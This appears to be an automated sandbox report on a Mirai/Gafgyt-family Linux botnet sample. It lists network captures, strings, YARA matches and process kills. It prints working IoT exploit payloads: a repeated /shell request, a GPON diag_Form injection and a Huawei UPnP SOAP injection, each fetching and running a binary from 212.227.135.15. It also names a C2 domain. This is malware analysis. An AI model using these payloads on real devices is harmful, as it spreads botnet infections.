Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.135.15/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	String found in binary or memory: http://212.227.135.15/bin
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 28657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33736
Source: unknown	Network traffic detected: HTTP traffic on port 58514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58514
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 28657

System Summary

Malicious sample detected (through community Yara rule)

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6236, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6244, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6258, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6259, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6260, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6261, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6262, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6263, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.135.15/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.135.15/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0+h+dPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6258, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6259, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6260, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6261, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6262, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6256)	SIGKILL sent: pid: 6263, result: successful	Jump to behavior

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
